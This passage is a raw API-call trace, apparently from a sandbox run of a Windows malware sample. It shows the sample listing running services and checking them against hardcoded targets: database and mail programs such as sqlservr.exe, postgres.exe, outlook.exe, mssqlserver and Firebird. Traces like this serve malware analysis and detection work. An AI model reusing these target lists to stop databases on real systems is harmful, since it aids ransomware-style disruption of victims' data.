lpMem=0x5ea390 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x602158 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fc3c0 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x602188 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x600080 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x602170 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ea3a0 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6021a0 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fbf60 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e61c8 | out: hHeap=0x5b0000) returned 1 [0070.468] lstrlenW (lpString="%systemdrive%") returned 13 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5bb8 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b458 | out: hHeap=0x5b0000) returned 1 [0070.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ea370 | out: hHeap=0x5b0000) returned 1 [0070.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x60d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0070.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5e7c30*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x5c4 Thread: id = 4 os_tid = 0x70c [0070.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x603550 [0070.389] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x603550, Size=0x20) returned 0x5e5988 [0070.389] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5988, Size=0x40) returned 0x5e6b18 [0070.389] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6b18, Size=0x80) returned 0x60b458 [0070.389] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x600080 [0070.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x603550 [0070.389] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x603550, Size=0x20) returned 0x5e5988 [0070.389] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5988, Size=0x40) returned 0x5e6b18 [0070.390] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e6b18, Size=0x80) returned 0x60b458 [0070.390] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60b458, Size=0x100) returned 0x600188 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x603550 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea240 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x603568 [0070.390] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea240, Size=0x8) returned 0x5ea250 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5e6028 [0070.390] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea250, Size=0x10) returned 0x603580 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5e6048 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5e5988 [0070.390] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x603580, Size=0x20) returned 0x5e59b0 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5e59d8 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16) returned 0x5e6068 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5e5a00 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x603580 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5ea250 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5e6b18 [0070.390] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea250, Size=0x8) returned 0x5ea240 [0070.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3c) returned 0x5e6b60 [0070.390] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ea240, Size=0x10) returned 0x603598 [0070.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5e6088 [0070.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5e60a8 [0070.391] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x603598, Size=0x20) returned 0x5e5a28 [0070.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5e7ed0 [0070.391] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0070.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x600080 | out: hHeap=0x5b0000) returned 1 [0070.391] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0070.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x600188 | out: hHeap=0x5b0000) returned 1 [0070.391] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e5ac8 [0070.392] EnumServicesStatusExW (in: hSCManager=0x5e5ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0070.392] GetLastError () returned 0xea [0070.392] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e4) returned 0x604f28 [0070.392] EnumServicesStatusExW (in: hSCManager=0x5e5ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x604f28, cbBufSize=0x11e4, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x604f28, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0070.393] CloseServiceHandle (hSCObject=0x5e5ac8) returned 1 [0070.393] lstrlenW (lpString="Appinfo") returned 7 [0070.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0070.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0070.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0070.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0070.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0070.394] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0070.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.394] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0070.394] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0070.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0070.394] lstrlenW (lpString="AudioSrv") returned 8 [0070.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0070.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0070.394] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0070.406] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0070.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0070.406] lstrlenW (lpString="BFE") returned 3 [0070.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0070.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0070.406] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0070.406] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0070.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0070.406] lstrlenW (lpString="CryptSvc") returned 8 [0070.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0070.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0070.406] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0070.406] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0070.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0070.407] lstrlenW (lpString="CscService") returned 10 [0070.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0070.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0070.407] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0070.407] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0070.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0070.407] lstrlenW (lpString="DcomLaunch") returned 10 [0070.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.407] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0070.407] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0070.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0070.407] lstrlenW (lpString="Dhcp") returned 4 [0070.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0070.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0070.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0070.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0070.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0070.408] lstrlenW (lpString="Dnscache") returned 8 [0070.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0070.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0070.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0070.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0070.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0070.408] lstrlenW (lpString="DPS") returned 3 [0070.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0070.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0070.408] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0070.408] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0070.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0070.408] lstrlenW (lpString="eventlog") returned 8 [0070.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0070.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0070.409] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0070.409] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0070.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0070.409] lstrlenW (lpString="EventSystem") returned 11 [0070.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0070.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0070.409] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0070.409] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0070.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0070.409] lstrlenW (lpString="gpsvc") returned 5 [0070.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0070.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0070.409] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0070.409] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0070.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0070.409] lstrlenW (lpString="iphlpsvc") returned 8 [0070.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.409] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0070.409] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0070.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0070.409] lstrlenW (lpString="LanmanServer") returned 12 [0070.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0070.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0070.409] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0070.410] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0070.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0070.410] lstrlenW (lpString="LanmanWorkstation") returned 17 [0070.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.410] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0070.410] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0070.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0070.410] lstrlenW (lpString="lmhosts") returned 7 [0070.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0070.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0070.410] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0070.410] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0070.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0070.410] lstrlenW (lpString="MMCSS") returned 5 [0070.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0070.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0070.410] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0070.410] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0070.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0070.411] lstrlenW (lpString="MpsSvc") returned 6 [0070.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0070.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0070.411] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0070.411] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0070.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0070.411] lstrlenW (lpString="Netman") returned 6 [0070.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0070.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0070.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0070.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0070.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0070.411] lstrlenW (lpString="netprofm") returned 8 [0070.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0070.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0070.412] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0070.412] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0070.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0070.412] lstrlenW (lpString="NlaSvc") returned 6 [0070.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0070.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0070.412] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0070.412] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0070.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0070.412] lstrlenW (lpString="nsi") returned 3 [0070.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0070.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0070.412] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0070.412] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0070.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0070.412] lstrlenW (lpString="PcaSvc") returned 6 [0070.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0070.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0070.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0070.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0070.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0070.413] lstrlenW (lpString="PlugPlay") returned 8 [0070.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0070.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0070.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0070.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0070.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0070.413] lstrlenW (lpString="Power") returned 5 [0070.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0070.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0070.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0070.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0070.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0070.413] lstrlenW (lpString="ProfSvc") returned 7 [0070.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0070.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0070.413] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0070.414] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0070.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0070.414] lstrlenW (lpString="RpcEptMapper") returned 12 [0070.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0070.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0070.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0070.414] lstrlenW (lpString="RpcSs") returned 5 [0070.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0070.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0070.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0070.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0070.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0070.414] lstrlenW (lpString="SamSs") returned 5 [0070.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0070.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0070.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0070.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0070.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0070.415] lstrlenW (lpString="Schedule") returned 8 [0070.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0070.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0070.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0070.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0070.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0070.415] lstrlenW (lpString="SENS") returned 4 [0070.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0070.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0070.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0070.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0070.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0070.415] lstrlenW (lpString="ShellHWDetection") returned 16 [0070.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.415] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0070.416] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0070.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0070.416] lstrlenW (lpString="Spooler") returned 7 [0070.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0070.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0070.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0070.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0070.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0070.416] lstrlenW (lpString="SysMain") returned 7 [0070.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0070.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0070.416] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0070.416] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0070.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0070.416] lstrlenW (lpString="Themes") returned 6 [0070.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0070.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0070.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0070.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0070.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0070.417] lstrlenW (lpString="TrkWks") returned 6 [0070.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0070.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0070.417] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0070.417] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0070.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0070.417] lstrlenW (lpString="UxSms") returned 5 [0070.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0070.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0070.417] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0070.417] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0070.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0070.417] lstrlenW (lpString="WdiServiceHost") returned 14 [0070.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.418] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0070.418] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0070.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0070.418] lstrlenW (lpString="WdiSystemHost") returned 13 [0070.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.418] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0070.418] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0070.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0070.418] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0070.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.418] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0070.418] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0070.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0070.418] lstrlenW (lpString="Winmgmt") returned 7 [0070.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0070.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0070.419] lstrcmpiW 